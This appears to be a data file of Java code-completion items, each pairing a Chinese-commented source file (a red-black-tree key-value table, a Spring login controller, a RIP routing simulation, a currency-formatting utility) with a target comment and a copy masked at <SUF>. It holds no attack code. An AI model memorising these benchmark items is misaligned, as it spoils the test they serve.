用于遍历当前表的值的集合,并且返回按给定规则处理后的前n项. * @param <R> 返回的集合中的元素的类型,若元素为键本身则为{@code <V>}, 否则需指明类型. */ private class ValueSet<R> { /** 存放指定前n个值按制定规则处理后得到的结果的容器. */ private final LinkedList<R> values = new LinkedList<>(); /** 用于辅助循环遍历. */ private LinkedList<RBTNode<K, V>> stack = new LinkedList<>(); /** * 默认构造函数. 在初始化的时候即使用给定规则完成指定值的遍历. * @param root 待遍历的子树的入口处. * @param n 待获取的前n个值. * @param operator 用于处理每个值的规则, 是一个 V -> R 的一元运算. */ public ValueSet(RBTNode<K, V> root, int n, Function<V, R> operator) { if (operator == null) { throw new IllegalArgumentException("请指定处理值的对应法则."); } traverseInorder(root, n, operator); } /** 返回表中前n个值的集合. */ public LinkedList<R> get() { return values; } /** * 用于遍历获得前n个值并根据指定规则对其进行处理. * @param node 遍历入口结点. * @param n 待获取的前n个值. * @param operator 用于处理每个值的规则, 是一个 K -> R 的一元运算. */ private void traverseInorder(RBTNode<K, V> node, int n, Function<V, R> operator) { while (node != NIL || stack.size() > 0) { // 向左试探 while (node != NIL) { stack.push(node); node = node._left; } // 回溯,将值加入链表 node = stack.pop(); values.add(operator.apply(node._value)); // 检查项数 if (values.size() == n) { stack = null; return; } // 转向右侧 node = node._right; } } } }
Episode-Zhang/naiiveKV
src/KVTable/Table.java
2,963
/** * 默认构造函数. 在初始化的时候即使用给定规则完成指定键的遍历. * @param root 待遍历的子树的入口处. * @param n 待获取的前n个键. * @param operator 用于处理每个键的规则, 是一个 K -> R 的一元运算. */
block_comment
zh-cn
package KVTable; import static View.TableView.viewInString; import static Utils.Utils.*; import java.util.LinkedList; import java.util.Objects; import java.util.function.Function; import java.io.*; /** * 继承了红黑树K-V表,并且缓存了最大/最小键,支持在原有红黑树基础上对分重构的K-V表. * 1.1在原版的基础上其父类RBT支持了序列化与反序列化存储 * <p> * 用于适配类 {@link Index.Page} 中存储的K-V表的要求. * @param <K> K-V表中键的类型. * @param <V> K-V表中值的类型. * @author Episode-Zhang * @version 1.1 */ public class Table<K, V> extends RBT<K, V> { /** 存放当前表中最小的key. */ private K _minKey; /** 存放当前表中最大的key. */ private K _maxKey; /** 存放当前表对应的文件名,规则:文件名 = this.hashCode().table */ private final String _filename; /** 默认构造函数. */ public Table() { super(); _filename = String.format("%s.table", this.hashCode()); } /** 用一棵已知的结点表示的红黑树来初始化一张表. */ private Table(RBTNode<K, V> root, RBTNode<K, V> NIL, int rootSize) { super(root, NIL, rootSize); _filename = String.format("%s.table", this.hashCode()); } /** 获取当前表中键的最小值. */ public K minKey() { return _minKey; } /** 获取当前表中键的最大值. */ public K maxKey() { return _maxKey; } public String name() { return _filename; } @Override public void put(K key, V value) { // 检查新插入的key if (_minKey == null || lessThan(key, _minKey)) { _minKey = key; } if (_maxKey == null || greaterThan(key, _maxKey)) { _maxKey = key; } // 其它情况和普通红黑树插入无异 super.put(key, value); } @Override public V delete(K key) { RBTNode<K, V> target = find(_root, key); if (target == null) { return null; } super.removeNode(target); // 查看被删除键是否为最大/最小键,是则更新 if (key.equals(_minKey)) { _minKey = min(_root); } if (key.equals(_maxKey)) { _maxKey = max(_root); } return target._value; } /** 获取表中前n个键. */ public K[] keys(int n) { KeySet<K> keys = new KeySet<K>(_root, n, (key) -> (key)); return (K[]) keys.get().toArray(); } /** 获取表中前n个值. */ public V[] values(int n) { ValueSet<V> values = new ValueSet<V>(_root, n, (value) -> (value)); return (V[]) values.get().toArray(); } /** * 将当前的红黑树按*根结点*的键划分成左右两棵子树,保证左子树中所有的键小于等于根节点, * 右子树中所有的键大于根节点,令当前红黑树为划分出的左子树,然后返回右子树. * @return 划分后的右半边的红黑树. * @throws RuntimeException 当前红黑树不足以支持划分时. */ public Table<K, V> split() { if (_size < 3) { String errorMsg = String.format(""" As for split, the size of table is supposed to be at least 3. now is size: %d Thus, table cannot be split.""", _size); throw new RuntimeException(errorMsg); } // 因为左右子树黑高相等,所以划分后无需再平衡. // 记录信息 int rightTreeSize = new KeySet<K>(_root._right, _size, (key) -> (key)).keys.size(); K rootKey = _root._key; V rootValue = _root._value; // 划分右子树 Table<K, V> rightTree = new Table<K, V>(_root._right, this.NIL, rightTreeSize); this._root._right = this.NIL; // 令当前红黑树为左子树 this._root = _root._left; this._root._isRed = false; this._root._parent = this.NIL; // 解耦后,根节点加入右子树 rightTree.put(rootKey, rootValue); // 更新信息 rightTree._minKey = rootKey; rightTree._maxKey = _maxKey; this._maxKey = max(_root); this._size -= rightTree.size(); return rightTree; } /** 返回一张表格的视图,通过打印表格中的前10项记录条数. */ @Override public String toString() { // 取前10项键和值 final int topN = 10; KeySet<String> topNKeys = new KeySet<String>(_root, topN, Objects::toString); ValueSet<String> topNValues = new ValueSet<String>(_root, topN, Object::toString); LinkedList<String> keys = topNKeys.get(); LinkedList<String> values = topNValues.get(); // 返回文字视图 StringBuilder view = new StringBuilder(viewInString(keys, values)); if (_size > 10) { view.append("...(Rest of the records are hidden)\n"); } return view.toString(); } /** * 关闭当前Table,将Table中所有的K-V对写入项目根路径下的data目录,随后将root置空. * @throws IOException 发生IO异常时抛出. */ public void close () throws IOException { // 写入磁盘 String path = String.format("./data/%s", _filename); try(FileOutputStream fos = new FileOutputStream(path); ObjectOutputStream oos = new ObjectOutputStream(fos)) { oos.writeObject(this); oos.flush(); } // 置空root this._root = null; } /** * 打开当前的Table,将Table中所有的K-V对从根路径的data目录中对应的文件加载回内存里. * @throws IOException 发生IO异常时抛出. * @throws ClassNotFoundException 发生类加载异常时抛出. */ public void open() throws IOException, ClassNotFoundException { Table<K, V> inDiskTable; String path = String.format("./data/%s", _filename); try (FileInputStream fis = new FileInputStream(path); ObjectInputStream ois = new ObjectInputStream(fis)) { inDiskTable = (Table<K, V>) ois.readObject(); } _root = inDiskTable._root; NIL = inDiskTable.NIL; } /** 判断根节点是否为空 */ public boolean nullRoot() { return _root == null; } /** 获取以{@code start} 为根节点的树中的最小键. */ private K min(final RBTNode<K, V> start) { if (start == this.NIL) { return null; } RBTNode<K, V> node = start; while (node._left != this.NIL) { node = node._left; } return node._key; } /** 获取以{@code start} 为根节点的树中的最大键. */ private K max(final RBTNode<K, V> start) { if (start == this.NIL) { return null; } RBTNode<K, V> node = start; while (node._right != this.NIL) { node = node._right; } return node._key; } /** * 用于遍历当前表的键的集合,并且返回按*给定规则*处理后的前n项. * @param <R> 返回的集合中的元素的类型,若元素为键本身则为{@code <K>}, 否则需指明类型. */ private class KeySet<R> { /** 存放指定前n个键按制定规则处理后得到的结果的容器. */ private final LinkedList<R> keys = new LinkedList<>(); /** 用于辅助循环遍历. */ private LinkedList<RBTNode<K, V>> stack = new LinkedList<>(); /** * 默认构 <SUF>*/ public KeySet(RBTNode<K, V> root, int n, Function<K, R> operator) { if (operator == null) { throw new IllegalArgumentException("请指定处理键的对应法则."); } traverseInorder(root, n, operator); } /** 返回表中前n个键的集合. */ public LinkedList<R> get() { return keys; } /** * 用于遍历获得前n个键并根据指定规则对其进行处理. * @param node 遍历入口结点. * @param n 待获取的前n个键. * @param operator 用于处理每个键的规则, 是一个 K -> R 的一元运算. */ private void traverseInorder(RBTNode<K, V>node, int n, Function<K, R> operator) { while (node != NIL || stack.size() > 0) { // 向左试探 while (node != NIL) { stack.push(node); node = node._left; } // 回溯,将键加入链表 node = stack.pop(); keys.add(operator.apply(node._key)); // 检查项数 if (keys.size() == n) { stack = null; return; } // 转向右侧 node = node._right; } } } /** * 用于遍历当前表的值的集合,并且返回按给定规则处理后的前n项. * @param <R> 返回的集合中的元素的类型,若元素为键本身则为{@code <V>}, 否则需指明类型. */ private class ValueSet<R> { /** 存放指定前n个值按制定规则处理后得到的结果的容器. */ private final LinkedList<R> values = new LinkedList<>(); /** 用于辅助循环遍历. */ private LinkedList<RBTNode<K, V>> stack = new LinkedList<>(); /** * 默认构造函数. 在初始化的时候即使用给定规则完成指定值的遍历. * @param root 待遍历的子树的入口处. * @param n 待获取的前n个值. * @param operator 用于处理每个值的规则, 是一个 V -> R 的一元运算. */ public ValueSet(RBTNode<K, V> root, int n, Function<V, R> operator) { if (operator == null) { throw new IllegalArgumentException("请指定处理值的对应法则."); } traverseInorder(root, n, operator); } /** 返回表中前n个值的集合. */ public LinkedList<R> get() { return values; } /** * 用于遍历获得前n个值并根据指定规则对其进行处理. * @param node 遍历入口结点. * @param n 待获取的前n个值. * @param operator 用于处理每个值的规则, 是一个 K -> R 的一元运算. */ private void traverseInorder(RBTNode<K, V> node, int n, Function<V, R> operator) { while (node != NIL || stack.size() > 0) { // 向左试探 while (node != NIL) { stack.push(node); node = node._left; } // 回溯,将值加入链表 node = stack.pop(); values.add(operator.apply(node._value)); // 检查项数 if (values.size() == n) { stack = null; return; } // 转向右侧 node = node._right; } } } }
1
53025_0
package com.ssm.farming.controller; import com.ssm.farming.mapper.ArticleMapper; import com.ssm.farming.mapper.NewsMapper; import com.ssm.farming.mapper.ReporterMapper; import com.ssm.farming.mapper.UserMapper; import com.ssm.farming.pojo.*; import com.ssm.farming.service.ArticleService; import com.ssm.farming.service.UserService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.transaction.Transactional; import java.util.List; @Controller @RequestMapping("/user") public class UserController { @Autowired UserMapper userMapper; @Autowired UserService userService; @Autowired ArticleMapper articleMapper; @Autowired NewsMapper newsMapper; @Autowired ReporterMapper reporterMapper; @Autowired ArticleService articleService; @RequestMapping("/login") public ModelAndView login(User user, HttpServletRequest request, Model model)throws Exception{ ModelAndView mv = new ModelAndView(); // 参数校验。用户名或密码为空 if (user == null || user.getName() == null || user.getPassword() == null) { return new ModelAndView("redirect:/index.html"); } // 首页显示文章信息 ArticleExample articleExample = new ArticleExample(); articleExample.createCriteria().getAllCriteria(); List<Article> articles = articleMapper.selectByExample(articleExample); model.addAttribute("articles",articles); // 首页显示新闻信息 NewsExample newsExample = new NewsExample(); newsExample.createCriteria().getAllCriteria(); List<News> news = newsMapper.selectByExample(newsExample); model.addAttribute("newsList",news); // 登陆校验:根据用户名密码查询用户 user = userService.checkLogin(user.getName(),user.getPassword()); if(user != null){ request.getSession().setAttribute("user",user); mv.addObject(user); // 农民 if(user.getStatus() == 0){ mv.setViewName("/home"); //专家 }else if(user.getStatus() == 1){ //根据专家id列出文章 List<Article> articlesById = articleService.selectByExpertId(user.getId()); model.addAttribute("expertId",articlesById.get(0).getExpertId()); model.addAttribute("articlesById",articlesById); // 将专家姓名传到前端 model.addAttribute("user",user); System.out.println(user.getName()); mv.setViewName("/expert_home"); //卖家 }else if(user.getStatus() == 2){ mv.setViewName("/seller_home"); } else if(user.getStatus() == 3){ model.addAttribute("user",user); mv.setViewName("/reporter_home"); } return mv; } else { // 用户名或密码错误 return new ModelAndView("redirect:/index.html"); } } @RequestMapping("/register") public String register(){ return "redirect:/register.html"; } @RequestMapping("/addUser") @Transactional public String addUser(User user){ userMapper.insertSelective(user); // int i=5/0; // userMapper.insertSelective(user); return "redirect:/index.html"; } }
EpitomM/sprout
src/main/java/com/ssm/farming/controller/UserController.java
819
// 参数校验。用户名或密码为空
line_comment
zh-cn
package com.ssm.farming.controller; import com.ssm.farming.mapper.ArticleMapper; import com.ssm.farming.mapper.NewsMapper; import com.ssm.farming.mapper.ReporterMapper; import com.ssm.farming.mapper.UserMapper; import com.ssm.farming.pojo.*; import com.ssm.farming.service.ArticleService; import com.ssm.farming.service.UserService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.transaction.Transactional; import java.util.List; @Controller @RequestMapping("/user") public class UserController { @Autowired UserMapper userMapper; @Autowired UserService userService; @Autowired ArticleMapper articleMapper; @Autowired NewsMapper newsMapper; @Autowired ReporterMapper reporterMapper; @Autowired ArticleService articleService; @RequestMapping("/login") public ModelAndView login(User user, HttpServletRequest request, Model model)throws Exception{ ModelAndView mv = new ModelAndView(); // 参数 <SUF> if (user == null || user.getName() == null || user.getPassword() == null) { return new ModelAndView("redirect:/index.html"); } // 首页显示文章信息 ArticleExample articleExample = new ArticleExample(); articleExample.createCriteria().getAllCriteria(); List<Article> articles = articleMapper.selectByExample(articleExample); model.addAttribute("articles",articles); // 首页显示新闻信息 NewsExample newsExample = new NewsExample(); newsExample.createCriteria().getAllCriteria(); List<News> news = newsMapper.selectByExample(newsExample); model.addAttribute("newsList",news); // 登陆校验:根据用户名密码查询用户 user = userService.checkLogin(user.getName(),user.getPassword()); if(user != null){ request.getSession().setAttribute("user",user); mv.addObject(user); // 农民 if(user.getStatus() == 0){ mv.setViewName("/home"); //专家 }else if(user.getStatus() == 1){ //根据专家id列出文章 List<Article> articlesById = articleService.selectByExpertId(user.getId()); model.addAttribute("expertId",articlesById.get(0).getExpertId()); model.addAttribute("articlesById",articlesById); // 将专家姓名传到前端 model.addAttribute("user",user); System.out.println(user.getName()); mv.setViewName("/expert_home"); //卖家 }else if(user.getStatus() == 2){ mv.setViewName("/seller_home"); } else if(user.getStatus() == 3){ model.addAttribute("user",user); mv.setViewName("/reporter_home"); } return mv; } else { // 用户名或密码错误 return new ModelAndView("redirect:/index.html"); } } @RequestMapping("/register") public String register(){ return "redirect:/register.html"; } @RequestMapping("/addUser") @Transactional public String addUser(User user){ userMapper.insertSelective(user); // int i=5/0; // userMapper.insertSelective(user); return "redirect:/index.html"; } }
1
55495_24
package rip; import java.util.HashMap; public class Router { private final int routerId; private RouterTable routerTable; private int[] nearRouter; private int[] nearNetwork; public RouterTable getRouterTable() { return routerTable; } public void setRouterTable(RouterTable routerTable) { this.routerTable = routerTable; } public void changeRouterTable(RouterTable otherRouterTable){ // 规则: // 1. 传入的为其临近路由器的路由表 // 2. 解析路由表 // 3. 如果有自己路由表里有的网络,检查跳数是否为15,不为15进行以下操作 // 4. 如果“跳数+1” 小于 本路由表对应条目的跳数,则修改记录 // 5. 修改记录 “网络号(不变)”,“跳数+1”,“下一跳路由(该路由条目的来源路由)” // 6. else如果有本自己路由表里没有的网路,检查跳数是否为15,不为15进行以下操作 // 7. 添加记录 “网络号”,“跳数+1”,“下一跳路由(该路由条目的来源路由)” //将自己的路由表里 所有的网络号建立一个String,所有的跳数建立一个String, //遍历外来路由表的各个网络号,判断是否存在相同的值 //如果存在 判断跳数(1.是否不等于15,2,是否小于自己对应的跳数+1) // 如果满足,修改路由表对应数据 // 如果不满足。do nothing //如果不存在,判断跳数是否不等于15, // 如果满足,添加该路由条目 HashMap<Integer, String[] > otherList = otherRouterTable.getList(); HashMap<Integer, String[] > selfList = routerTable.getList(); String otherNetnum = ""; String otherTiaonum = ""; String selfNetnum = ""; String selfTiaonum = ""; String selfShouldMod = ""; String otherShouldMod = ""; String shouldAdd = ""; for(int i = 0 ; i < otherList.size(); i++){ otherNetnum += otherList.get(i)[0]; otherTiaonum += otherList.get(i)[1]; } for(int i = 0; i < selfList.size(); i++){ selfNetnum += selfList.get(i)[0]; selfTiaonum += selfList.get(i)[1]; } for(int i = 0; i < otherNetnum.length(); i++){ // System.out.println("第"+i+"循环检验========================"); int res = selfNetnum.indexOf(otherNetnum.substring(i,i+1)); int p = Integer.parseInt(otherTiaonum.substring(i, i+1)); if (res != -1) { int q = Integer.parseInt(selfTiaonum.substring(res, res+1)); if (p < 15) { if ((p+1) < q ) { //TODO 修改路由表对应数据 // System.out.println("premod======="+selfNetnum.substring(res, res+1)+"--------"+otherNetnum.substring(i,i+1)); selfShouldMod += String.valueOf(res); otherShouldMod += String.valueOf(i); } } }else if (res == -1) { if (p < 15) { //TODO 添加该条目 // System.out.println("preadd====="+otherNetnum.substring(i,i+1)); shouldAdd += String.valueOf(i); } }else { System.err.println("core change err"); } } if (selfShouldMod.length() > 0) { for(int i = 0; i < selfShouldMod.length(); i++){ // System.out.println("mod"); selfList.remove(selfShouldMod.substring(i,i+1)); String newChange[] = { otherList.get(Integer.parseInt(otherShouldMod.substring(i, i+1)))[0], String.valueOf(Integer.parseInt(otherList.get(Integer.parseInt(otherShouldMod.substring(i,i+1)))[1])+1), String.valueOf(otherRouterTable.getRouterID()) }; selfList.put(Integer.parseInt(selfShouldMod.substring(i,i+1)), newChange); } } if (shouldAdd.length() > 0) { // System.out.println("1111111111111self.size================="+selfList.size()); int len = selfList.size(); for(int i = 0; i < shouldAdd.length(); i++){ // System.out.println("add"); String newChange[] = { otherList.get(Integer.parseInt(shouldAdd.substring(i, i+1)))[0], String.valueOf(Integer.parseInt(otherList.get(Integer.parseInt(shouldAdd.substring(i,i+1)))[1])+1), String.valueOf(otherRouterTable.getRouterID()) }; selfList.put(len+i, newChange); // System.out.println("self.size================="+selfList.size()); } } routerTable.setList(selfList); setRouterTable(routerTable); } public int[] getNearRouter() { return nearRouter; } public void setNearRouter(int[] nearRouter) { this.nearRouter = nearRouter; } public int[] getNearNetwork() { return nearNetwork; } public void setNearNetwork(int[] nearNetwork) { this.nearNetwork = nearNetwork; } public int getRouterId() { return routerId; } public void echoRoutertable(){ RouterTable rtTables = getRouterTable(); HashMap<Integer, String[]> list = rtTables.getList(); System.out.println("*******路由器 "+getRouterTable().getRouterID()+" 路由表******"); for (int i = 0; i < list.size(); i++) { String[] pStrings = list.get(i); System.out.println("网络:"+pStrings[0]+" | "+"跳数:"+pStrings[1]+" | "+"下一跳路由器: "+pStrings[2]); } } public Router(int routerId, RouterTable routerTable) { super(); this.routerId = routerId; this.routerTable = routerTable; //TODO 记录临近的网络 int[] p = new int[routerTable.getList().size()]; for(int i = 0; i < routerTable.getList().size(); i++){ p[i] = Integer.parseInt(routerTable.getList().get(i)[0]); } this.nearNetwork = p; } }
EricLi404/Java-Demos
Rip-Demo/Router.java
1,763
//TODO 记录临近的网络
line_comment
zh-cn
package rip; import java.util.HashMap; public class Router { private final int routerId; private RouterTable routerTable; private int[] nearRouter; private int[] nearNetwork; public RouterTable getRouterTable() { return routerTable; } public void setRouterTable(RouterTable routerTable) { this.routerTable = routerTable; } public void changeRouterTable(RouterTable otherRouterTable){ // 规则: // 1. 传入的为其临近路由器的路由表 // 2. 解析路由表 // 3. 如果有自己路由表里有的网络,检查跳数是否为15,不为15进行以下操作 // 4. 如果“跳数+1” 小于 本路由表对应条目的跳数,则修改记录 // 5. 修改记录 “网络号(不变)”,“跳数+1”,“下一跳路由(该路由条目的来源路由)” // 6. else如果有本自己路由表里没有的网路,检查跳数是否为15,不为15进行以下操作 // 7. 添加记录 “网络号”,“跳数+1”,“下一跳路由(该路由条目的来源路由)” //将自己的路由表里 所有的网络号建立一个String,所有的跳数建立一个String, //遍历外来路由表的各个网络号,判断是否存在相同的值 //如果存在 判断跳数(1.是否不等于15,2,是否小于自己对应的跳数+1) // 如果满足,修改路由表对应数据 // 如果不满足。do nothing //如果不存在,判断跳数是否不等于15, // 如果满足,添加该路由条目 HashMap<Integer, String[] > otherList = otherRouterTable.getList(); HashMap<Integer, String[] > selfList = routerTable.getList(); String otherNetnum = ""; String otherTiaonum = ""; String selfNetnum = ""; String selfTiaonum = ""; String selfShouldMod = ""; String otherShouldMod = ""; String shouldAdd = ""; for(int i = 0 ; i < otherList.size(); i++){ otherNetnum += otherList.get(i)[0]; otherTiaonum += otherList.get(i)[1]; } for(int i = 0; i < selfList.size(); i++){ selfNetnum += selfList.get(i)[0]; selfTiaonum += selfList.get(i)[1]; } for(int i = 0; i < otherNetnum.length(); i++){ // System.out.println("第"+i+"循环检验========================"); int res = selfNetnum.indexOf(otherNetnum.substring(i,i+1)); int p = Integer.parseInt(otherTiaonum.substring(i, i+1)); if (res != -1) { int q = Integer.parseInt(selfTiaonum.substring(res, res+1)); if (p < 15) { if ((p+1) < q ) { //TODO 修改路由表对应数据 // System.out.println("premod======="+selfNetnum.substring(res, res+1)+"--------"+otherNetnum.substring(i,i+1)); selfShouldMod += String.valueOf(res); otherShouldMod += String.valueOf(i); } } }else if (res == -1) { if (p < 15) { //TODO 添加该条目 // System.out.println("preadd====="+otherNetnum.substring(i,i+1)); shouldAdd += String.valueOf(i); } }else { System.err.println("core change err"); } } if (selfShouldMod.length() > 0) { for(int i = 0; i < selfShouldMod.length(); i++){ // System.out.println("mod"); selfList.remove(selfShouldMod.substring(i,i+1)); String newChange[] = { otherList.get(Integer.parseInt(otherShouldMod.substring(i, i+1)))[0], String.valueOf(Integer.parseInt(otherList.get(Integer.parseInt(otherShouldMod.substring(i,i+1)))[1])+1), String.valueOf(otherRouterTable.getRouterID()) }; selfList.put(Integer.parseInt(selfShouldMod.substring(i,i+1)), newChange); } } if (shouldAdd.length() > 0) { // System.out.println("1111111111111self.size================="+selfList.size()); int len = selfList.size(); for(int i = 0; i < shouldAdd.length(); i++){ // System.out.println("add"); String newChange[] = { otherList.get(Integer.parseInt(shouldAdd.substring(i, i+1)))[0], String.valueOf(Integer.parseInt(otherList.get(Integer.parseInt(shouldAdd.substring(i,i+1)))[1])+1), String.valueOf(otherRouterTable.getRouterID()) }; selfList.put(len+i, newChange); // System.out.println("self.size================="+selfList.size()); } } routerTable.setList(selfList); setRouterTable(routerTable); } public int[] getNearRouter() { return nearRouter; } public void setNearRouter(int[] nearRouter) { this.nearRouter = nearRouter; } public int[] getNearNetwork() { return nearNetwork; } public void setNearNetwork(int[] nearNetwork) { this.nearNetwork = nearNetwork; } public int getRouterId() { return routerId; } public void echoRoutertable(){ RouterTable rtTables = getRouterTable(); HashMap<Integer, String[]> list = rtTables.getList(); System.out.println("*******路由器 "+getRouterTable().getRouterID()+" 路由表******"); for (int i = 0; i < list.size(); i++) { String[] pStrings = list.get(i); System.out.println("网络:"+pStrings[0]+" | "+"跳数:"+pStrings[1]+" | "+"下一跳路由器: "+pStrings[2]); } } public Router(int routerId, RouterTable routerTable) { super(); this.routerId = routerId; this.routerTable = routerTable; //TO <SUF> int[] p = new int[routerTable.getList().size()]; for(int i = 0; i < routerTable.getList().size(); i++){ p[i] = Integer.parseInt(routerTable.getList().get(i)[0]); } this.nearNetwork = p; } }
0
22789_44
/** * Copyright(c) Jade Techonologies Co., Ltd. */ package cn.eric.jdktools.data; import java.math.BigDecimal; /** * 格式化数字工具类 */ public class NumUtil { /** * 保留两位小数点 * @param value * @return */ public static double keepTwoPoint(double value) { BigDecimal b = new BigDecimal(value); double result = b.setScale(2,BigDecimal.ROUND_HALF_UP).doubleValue(); return result; } public static double keepFourPoint(double value) { BigDecimal b = new BigDecimal(value); double result = b.setScale(4,BigDecimal.ROUND_HALF_UP).doubleValue(); return result; } public static double keepSixPoint(double value) { BigDecimal b = new BigDecimal(value); double result = b.setScale(6,BigDecimal.ROUND_HALF_UP).doubleValue(); return result; } /** * 从命令行接收一个数,在其中调用 checkNum() 方法对其进行 * 验证,并返回相应的值 * @return 如果输入合法,返回输入的这个数 */ public static String getNum(String loanmoney) { // 判断用户输入是否合法 // 若合法,返回这个值;若非法返回 "0" if(checkNum(loanmoney)) { return loanmoney; } else { return ""; } } /** * 判断用户输入的数据是否合法,用户只能输入大于零的数字,不能输入其它字符 * @param s String * @return 如果用户输入数据合法,返回 true,否则返回 false */ private static boolean checkNum(String loanmoney) { // 如果用户输入的数里有非数字字符,则视为非法数据,返回 false try { float f = Float.valueOf(loanmoney); // 如果这个数小于零则视为非法数据,返回 false if(f < 0) { System.out.println("非法数据,请检查!"); return false; }else { return true; } } catch (NumberFormatException s) { System.out.println("非法数据,请检查!"); return false; } } /** * 把用户输入的数以小数点为界分割开来,并调用 numFormat() 方法 * 进行相应的中文金额大写形式的转换 * 注:传入的这个数应该是经过 roundString() 方法进行了四舍五入操作的 * @param s String * @return 转换好的中文金额大写形式的字符串 */ public static String splitNum(String loanmoney) { // 如果传入的是空串则继续返回空串 if("".equals(loanmoney)) { return ""; } // 以小数点为界分割这个字符串 int index = loanmoney.indexOf("."); // 截取并转换这个数的整数部分 String intOnly = loanmoney.substring(0, index); String part1 = numFormat(1, intOnly); // 截取并转换这个数的小数部分 String smallOnly = loanmoney.substring(index + 1); String part2 = numFormat(2, smallOnly); // 把转换好了的整数部分和小数部分重新拼凑一个新的字符串 String newS = part1 + part2; return newS; } /** * 对传入的数进行四舍五入操作 * @param loanmoney 从命令行输入的那个数 * @return 四舍五入后的新值 */ public static String roundString(String loanmoney) { // 如果传入的是空串则继续返回空串 if("".equals(loanmoney)) { return ""; } // 将这个数转换成 double 类型,并对其进行四舍五入操作 double d = Double.parseDouble(loanmoney); // 此操作作用在小数点后两位上 d = (d * 100 + 0.5) / 100; // 将 d 进行格式化 loanmoney = new java.text.DecimalFormat("##0.000").format(d); // 以小数点为界分割这个字符串 int index = loanmoney.indexOf("."); // 这个数的整数部分 String intOnly = loanmoney.substring(0, index); // 规定数值的最大长度只能到万亿单位,否则返回 "0" if(intOnly.length() > 13) { System.out.println("输入数据过大!(整数部分最多13位!)"); return ""; } // 这个数的小数部分 String smallOnly = loanmoney.substring(index + 1); // 如果小数部分大于两位,只截取小数点后两位 if(smallOnly.length() > 2) { String roundSmall = smallOnly.substring(0, 2); // 把整数部分和新截取的小数部分重新拼凑这个字符串 loanmoney = intOnly + "." + roundSmall; } return loanmoney; } /** * 把传入的数转换为中文金额大写形式 * @param flag int 标志位,1 表示转换整数部分,2 表示转换小数部分 * @param s String 要转换的字符串 * @return 转换好的带单位的中文金额大写形式 */ private static String numFormat(int flag, String loanmoney) { int sLength = loanmoney.length(); // 货币大写形式 String bigLetter[] = {"零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖"}; // 货币单位 String unit[] = {"元", "拾", "佰", "仟", "万", // 拾万位到仟万位 "拾", "佰", "仟", // 亿位到万亿位 "亿", "拾", "佰", "仟", "万"}; String small[] = {"分", "角"}; // 用来存放转换后的新字符串 String newS = ""; // 逐位替换为中文大写形式 for(int i = 0; i < sLength; i ++) { if(flag == 1) { // 转换整数部分为中文大写形式(带单位) newS = newS + bigLetter[loanmoney.charAt(i) - 48] + unit[sLength - i - 1]; } else if(flag == 2) { // 转换小数部分(带单位) newS = newS + bigLetter[loanmoney.charAt(i) - 48] + small[sLength - i - 1]; } } return newS; } /** * 把已经转换好的中文金额大写形式加以改进,清理这个字 * 符串里面多余的零,让这个字符串变得更加可观 * 注:传入的这个数应该是经过 splitNum() 方法进行处理,这个字 * 符串应该已经是用中文金额大写形式表示的 * @param s String 已经转换好的字符串 * @return 改进后的字符串 */ public static String cleanZero(String loanmoney) { // 如果传入的是空串则继续返回空串 if("".equals(loanmoney)) { return ""; } // 如果用户开始输入了很多 0 去掉字符串前面多余的'零',使其看上去更符合习惯 while(loanmoney.charAt(0) == '零') { // 将字符串中的 "零" 和它对应的单位去掉 loanmoney = loanmoney.substring(2); // 如果用户当初输入的时候只输入了 0,则只返回一个 "零" if(loanmoney.length() == 0) { return "零"; } } // 字符串中存在多个'零'在一起的时候只读出一个'零',并省略多余的单位 /* 由于本人对算法的研究太菜了,只能用4个正则表达式去转换了,各位大虾别介意哈... */ String regex1[] = {"零仟", "零佰", "零拾"}; String regex2[] = {"零亿", "零万", "零元"}; String regex3[] = {"亿", "万", "元"}; String regex4[] = {"零角", "零分"}; // 第一轮转换把 "零仟", 零佰","零拾"等字符串替换成一个"零" for(int i = 0; i < 3; i ++) { loanmoney = loanmoney.replaceAll(regex1[i], "零"); } // 第二轮转换考虑 "零亿","零万","零元"等情况 // "亿","万","元"这些单位有些情况是不能省的,需要保留下来 for(int i = 0; i < 3; i ++) { // 当第一轮转换过后有可能有很多个零叠在一起 // 要把很多个重复的零变成一个零 loanmoney = loanmoney.replaceAll("零零零", "零"); loanmoney = loanmoney.replaceAll("零零", "零"); loanmoney = loanmoney.replaceAll(regex2[i], regex3[i]); } // 第三轮转换把"零角","零分"字符串省略 for(int i = 0; i < 2; i ++) { loanmoney = loanmoney.replaceAll(regex4[i], ""); } // 当"万"到"亿"之间全部是"零"的时候,忽略"亿万"单位,只保留一个"亿" loanmoney = loanmoney.replaceAll("亿万", "亿"); return loanmoney; } /** * 测试程序的可行性 * @param args */ public static void main(String[] args) { System.out.println("\n--------将数字转换成中文金额的大写形式------------\n"); NumUtil t2r = new NumUtil(); String money= getNum("bbb600ttt98726a"); System.out.println(money); String money1= splitNum("17800260026.26"); System.out.println(money1); String money2 = roundString("3027830056.34426"); System.out.println(money2); String money3 = numFormat(1, "37356653"); System.out.println(money3); String money4 = numFormat(2, "34"); System.out.println(money4); String money5 = cleanZero("零零零零零零壹佰柒拾捌万贰仟陆佰贰拾陆元贰角陆分"); System.out.println(money5); } }
EricLoveMia/JavaTools
src/main/java/cn/eric/jdktools/data/NumUtil.java
2,585
// "亿","万","元"这些单位有些情况是不能省的,需要保留下来
line_comment
zh-cn
